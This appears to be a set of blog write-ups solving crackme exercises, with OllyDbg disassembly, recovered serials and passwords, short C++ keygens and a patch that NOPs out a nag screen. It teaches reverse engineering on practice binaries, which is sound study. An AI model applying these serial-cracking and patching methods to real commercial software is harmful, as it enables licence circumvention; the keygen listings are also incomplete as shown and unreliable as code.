0040124B   .^72 E9          JB SHORT crackme.00401236                ;  end fifth for loop
0040124D   > 5D             POP EBP
0040124E   . B9 0A000000    MOV ECX,0A                               ;  ecx = 10
00401253   . A1 45634000    MOV EAX,DWORD PTR DS:[406345]            ;  eax = ??
00401258   . 33DB           XOR EBX,EBX
0040125A   > 33D2           XOR EDX,EDX
0040125C   . F7F1           DIV ECX                                  ;  edx:eax = edx:eax/ecx
0040125E   . 80C2 30        ADD DL,30
00401261   . 8893 49654000  MOV BYTE PTR DS:[EBX+406549],DL          ;  move char of serial here
00401267   . 43             INC EBX
00401268   . 85C0           TEST EAX,EAX
0040126A   .^75 EE          JNZ SHORT crackme.0040125A
0040126C   . 68 49654000    PUSH crackme.00406549                    ; /String = ""
00401271   . E8 86010000    CALL <JMP.&kernel32.lstrlenA>            ; \lstrlenA
00401276   . 33DB           XOR EBX,EBX
00401278   > 8A88 48654000  MOV CL,BYTE PTR DS:[EAX+406548]
0040127E   . 888B 49674000  MOV BYTE PTR DS:[EBX+406749],CL
00401284   . 43             INC EBX
00401285   . 48             DEC EAX
00401286   .^75 F0          JNZ SHORT crackme.00401278
00401288   . 68 49674000    PUSH crackme.00406749                    ; /String2 = ""
0040128D   . 68 49654000    PUSH crackme.00406549                    ; |String1 = crackme.00406549
00401292   . E8 5F010000    CALL <JMP.&kernel32.lstrcpyA>            ; \lstrcpyA
00401297   . 68 00020000    PUSH 200                                 ; /Count = 200 (512.)
0040129C   . 68 49694000    PUSH crackme.00406949                    ; |Buffer = crackme.00406949
004012A1   . 6A 64          PUSH 64                                  ; |ControlID = 64 (100.)
004012A3   . FF75 08        PUSH DWORD PTR SS:[EBP+8]                ; |hWnd
004012A6   . E8 E5000000    CALL <JMP.&user32.GetDlgItemTextA>       ; \GetDlgItemTextA
004012AB   . 68 49654000    PUSH crackme.00406549                    ; /String2 = ""
004012B0   . 68 49694000    PUSH crackme.00406949                    ; |String1 = ""
004012B5   . E8 36010000    CALL <JMP.&kernel32.lstrcmpA>            ; \lstrcmpA
004012BA   . 0BC0           OR EAX,EAX
004012BC   . 75 16          JNZ SHORT crackme.004012D4
004012BE   . 6A 40          PUSH 40                                  ; /Style = MB_OK|MB_ICONASTERISK|MB_APPLMODAL
004012C0   . 68 DB624000    PUSH crackme.004062DB                    ; |Title = "Good boy..."
004012C5   . 68 AC624000    PUSH crackme.004062AC                    ; |Text = "Yep, thats the right code!
Go write a keygen!"
004012CA   . FF75 08        PUSH DWORD PTR SS:[EBP+8]                ; |hOwner
004012CD   . E8 CA000000    CALL <JMP.&user32.MessageBoxA>           ; \MessageBoxA
004012D2   . EB 14          JMP SHORT crackme.004012E8
004012D4   > 6A 10          PUSH 10                                  ; /Style = MB_OK|MB_ICONHAND|MB_APPLMODAL
004012D6   . 68 06634000    PUSH crackme.00406306                    ; |Title = "Bad boy..."
004012DB   . 68 E7624000    PUSH crackme.004062E7                    ; |Text = "Nope, thats not it!
Try again"
004012E0   . FF75 08        PUSH DWORD PTR SS:[EBP+8]                ; |hOwner
004012E3   . E8 B4000000    CALL <JMP.&user32.MessageBoxA>           ; \MessageBoxA

Reverseme – windows

This was pretty easy. Again, from crackmes.de, here is a mirror to the executable

Hardcoded serial is:

“Reversing raises knowledge!”

This could have potetially been guessed eventually with a hex dump, but I noticed it when setting a break point at

0x00401462 and doing a registry dump (eax points to the string). That address is the start of a loop that compares

the hardcoded serial byte by byte witht the entered serial.

Name/Serial Combination:

The Name/Serial combination is calculated in the following lines of the assembly file (generated by ollydbg).

004014F7  |. 33C0           XOR EAX,EAX                              ;  start calculation of key
004014F9  |. 8D35 10314000  LEA ESI,DWORD PTR DS:[403110]
004014FF  |. 8B0D 5C314000  MOV ECX,DWORD PTR DS:[40315C]
00401505  |. 33DB           XOR EBX,EBX
00401507  |> 8A4431 FF      /MOV AL,BYTE PTR DS:[ECX+ESI-1]
0040150B  |> 43             |/INC EBX                                ;  loop while eax is not between 44 and 4d (E to L)
0040150C  |. 33C3           ||XOR EAX,EBX
0040150E  |. 3C 44          ||CMP AL,44
00401510  |.^72 F9          ||JB SHORT Assessme.0040150B
00401512  |. 3C 4D          ||CMP AL,4D
00401514  |.^77 F5          |\JA SHORT Assessme.0040150B
00401516  |. 884431 FF      |MOV BYTE PTR DS:[ECX+ESI-1],AL
0040151A  |. 806C31 FF 14   |SUB BYTE PTR DS:[ECX+ESI-1],14
0040151F  |. 49             |DEC ECX
00401520  |. 83F9 00        |CMP ECX,0
00401523  |.^77 E2          \JA SHORT Assessme.00401507
00401525  |. 61             POPAD
00401526  |. 8D05 10314000  LEA EAX,DWORD PTR DS:[403110]
0040152C  |. 8D1D 30314000  LEA EBX,DWORD PTR DS:[403130]
00401532  |> 8038 00        /CMP BYTE PTR DS:[EAX],0
00401535  |. 74 0C          |JE SHORT Assessme.00401543              ;  jump to correct combination

The important stuff is in lines 0040150B to 00401520 which contains the algorithm for calculating the serial based

on the name.  Basically it has an index (ebx) that simply iterates and is xored with the current character until the

result is a number between 44 and 4d.  Finally, 140x is subtracted from this number which results in the serial.

This algorithm is replicated in the keygen (keygen.cpp).

#include <cstdlib>
#include <iostream>
#include <string>
using namespace std;
int main(int argc, char *argv[])
    cout<<"Enter name: "<<endl;
    string name;
    char* backpass = new char[name.length()+1];
    char j = 0;
    int xorinc = 0;
    for(int i = name.length()-1; i>=0; i--)
            char thischar = name[i];
            while(thischar < 'D' || thischar > 'M')
                    thischar = thischar ^ xorinc;
            //cout<<"thischar["<<i<<"] "<<char(thischar - 20) <<endl;
            backpass[i] = char(thischar-20);
    cout<<"Serial for this name:"<<endl;
    for(int i = 0; i< name.length(); i++)
    return EXIT_SUCCESS;

Windows Password, geygen, password reverseme

Sat for an evenin’ o’ fun this holiday season.  I like these easy ones.  Last month I tried a harder one and found it discouraging.  I don’t have the sort of time to work on these for a full day, so these couple hour ones are a lot more fun to me at this point.

I found the binary on crackmes.de, here is a mirror.

Part 1: Find the Password.

Really easy.  Even me a beginner figured this out in about half an hour.  First thing it does is make sure the input is 8 characters long.  If it’s not it exits the program.

004013B7  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; |
004013BA  |. E8 B1060000    CALL &lt;JMP.&amp;msvcrt.strlen&gt;                ; strlen
004013BF  |. 83F8 08        CMP EAX,8
004013C2  |. 74 05          JE SHORT CrackMe#.004013C9               ;  if strlen(pass) == 8 (if it's not, 'something went wrong')
004013C4  |. E9 2C010000    JMP CrackMe#.004014F5

Next it goes through a little loop which compares each letter of the password you entered with the real password

004013C9  |> C745 F4 000000>MOV DWORD PTR SS:[EBP-C],0
004013D0  |> 837D F4 07     /CMP DWORD PTR SS:[EBP-C],7              ;  looks like for (i =0; i<7; i++) probably
004013D4  |. 7F 20          |JG SHORT CrackMe#.004013F6
004013D6  |. 8D45 F8        |LEA EAX,DWORD PTR SS:[EBP-8]
004013D9  |. 0345 F4        |ADD EAX,DWORD PTR SS:[EBP-C]
004013DC  |. 8D50 E0        |LEA EDX,DWORD PTR DS:[EAX-20]           ;  edx = ptr(ebp - 8) + ptr(ebp - c)
004013DF  |. 8D45 F8        |LEA EAX,DWORD PTR SS:[EBP-8]
004013E2  |. 0345 F4        |ADD EAX,DWORD PTR SS:[EBP-C]
004013E5  |. 83E8 20        |SUB EAX,20                              ;  eax = edx - 20
004013E8  |. 0FB600         |MOVZX EAX,BYTE PTR DS:[EAX]
004013EB  |. FEC0           |INC AL
004013ED  |. 8802           |MOV BYTE PTR DS:[EDX],AL
004013EF  |. 8D45 F4        |LEA EAX,DWORD PTR SS:[EBP-C]
004013F2  |. FF00           |INC DWORD PTR DS:[EAX]
004013F4  |.^EB DA          \JMP SHORT CrackMe#.004013D0
004013F6  |> 8D45 C8        LEA EAX,DWORD PTR SS:[EBP-38]            ; ||||||||
004013F9  |. 8D55 D8        LEA EDX,DWORD PTR SS:[EBP-28]            ; ||||||||
004013FC  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX             ; ||||||||
00401400  |. 891424         MOV DWORD PTR SS:[ESP],EDX               ; ||||||||
00401403  |. E8 58060000    CALL <JMP.&msvcrt.strcmp>                ; |||||||\strcmp
00401408  |. 85C0           TEST EAX,EAX                             ; |||||||if this doesn't = 0 exit 'something went wrong'
0040140A  |. 0F85 E5000000  JNZ CrackMe#.004014F5                    ; |||||||
00401410  |. C70424 FE31400>MOV DWORD PTR SS:[ESP],CrackMe#.004031FE ; |||||||ASCII 0A,"Stage 1 co"

If you look closely it compares every letter + 1 to QbTTx1sE.  Meaning of course that the password is simply: PaSSw0rD

Part 2: KeyGen

The next part was a little more tricky for me.

On the screen you enter a name and a corresponding serial.

00401423  |. E8 68060000    CALL <JMP.&msvcrt.printf>                ; |||||\printf
00401428  |. C70424 D331400>MOV DWORD PTR SS:[ESP],CrackMe#.004031D3 ; |||||ASCII "*******
0040142F  |. E8 5C060000    CALL <JMP.&msvcrt.printf>                ; ||||\printf
00401434  |. C70424 1E32400>MOV DWORD PTR SS:[ESP],CrackMe#.0040321E ; ||||ASCII 0A,"Name [2<=c"
0040143B  |. E8 50060000    CALL <JMP.&msvcrt.printf>                ; |||\printf
00401440  |. 8D45 B8        LEA EAX,DWORD PTR SS:[EBP-48]            ; |||
00401443  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX             ; |||ebp -48 or esp +4 = name
00401447  |. C70424 FB31400>MOV DWORD PTR SS:[ESP],CrackMe#.004031FB ; |||ASCII "%s"
0040144E  |. E8 2D060000    CALL <JMP.&msvcrt.scanf>                 ; ||\scanf
00401453  |. C70424 3632400>MOV DWORD PTR SS:[ESP],CrackMe#.00403236 ; ||ASCII "Serial : "
0040145A  |. E8 31060000    CALL <JMP.&msvcrt.printf>                ; |\printf
0040145F  |. 8D45 B0        LEA EAX,DWORD PTR SS:[EBP-50]            ; |
00401462  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX             ; |ebp -50 = serial
00401466  |. C70424 4132400>MOV DWORD PTR SS:[ESP],CrackMe#.00403241 ; |ASCII "%d"
0040146D  |. E8 0E060000    CALL <JMP.&msvcrt.scanf>                 ; \scanf
00401472  |. C745 F4 000000>MOV DWORD PTR SS:[EBP-C],0
00401479  |. C745 F4 000000>MOV DWORD PTR SS:[EBP-C],0
00401480  |> 8D45 B8        /LEA EAX,DWORD PTR SS:[EBP-48]           ; |
00401483  |. 890424         |MOV DWORD PTR SS:[ESP],EAX              ; |strlen (name)
00401486  |. E8 E5050000    |CALL <JMP.&msvcrt.strlen>               ; \strlen
0040148B  |. 3945 F4        |CMP DWORD PTR SS:[EBP-C],EAX            ;  while loop (for i = len(name)
0040148E  |. 77 1A          |JA SHORT CrackMe#.004014AA
00401490  |. 8D45 F8        |LEA EAX,DWORD PTR SS:[EBP-8]
00401493  |. 0345 F4        |ADD EAX,DWORD PTR SS:[EBP-C]
00401496  |. 83E8 40        |SUB EAX,40
00401499  |. 0FBE00         |MOVSX EAX,BYTE PTR DS:[EAX]
0040149C  |. 0345 B4        |ADD EAX,DWORD PTR SS:[EBP-4C]
0040149F  |. 48             |DEC EAX
004014A0  |. 8945 B4        |MOV DWORD PTR SS:[EBP-4C],EAX
004014A3  |. 8D45 F4        |LEA EAX,DWORD PTR SS:[EBP-C]
004014A6  |. FF00           |INC DWORD PTR DS:[EAX]                  ;  pointer to 0,1,...,length
004014A8  |.^EB D6          \JMP SHORT CrackMe#.00401480
004014AA  |> 8B45 B4        MOV EAX,DWORD PTR SS:[EBP-4C]            ; |||||eax calculated in loop, compared with serial
004014AD  |. 3B45 B0        CMP EAX,DWORD PTR SS:[EBP-50]            ; |||||
004014B0  |. 75 43          JNZ SHORT CrackMe#.004014F5              ; |||||
004014B2  |. C70424 4432400>MOV DWORD PTR SS:[ESP],CrackMe#.00403244 ; |||||ASCII 0A,"Stage 2 Co"

Although it can be a bit hard to read because of all the pointers (at least for me), it is definitely possible to discern the for loop and figure out it’s computing some value based on the name and writing to the same space (ebp – 4c) at every iteration.  This value is then compared to the serial to determine if the serial is valid or not.  After setting some breakpoints it becomes clear that  every value of the name -1 is added together and compared to the serial.  Here is a working keygen.

#include <iostream>
#include <string>

using namespace std;

int main()
    string name = "";
    cout << "name: ";
    cin >> name;
    int total = 0;
    for(int i=0; i<name.length(); i++)
            total += name[i];
    total -= (name.length() + 1);
    cout << "Serial should be " << total << endl;

    return 0;

Part 3

This part was theoretically easy, but a bit hard for me to execute.  The goal is to remove a console nag.

004014DD  |. E8 AE050000    CALL <JMP.&msvcrt.printf>                ; |\printf

That line needs to turn to a nop.  In ollydbg just right click as say fill with nop, and it should be good.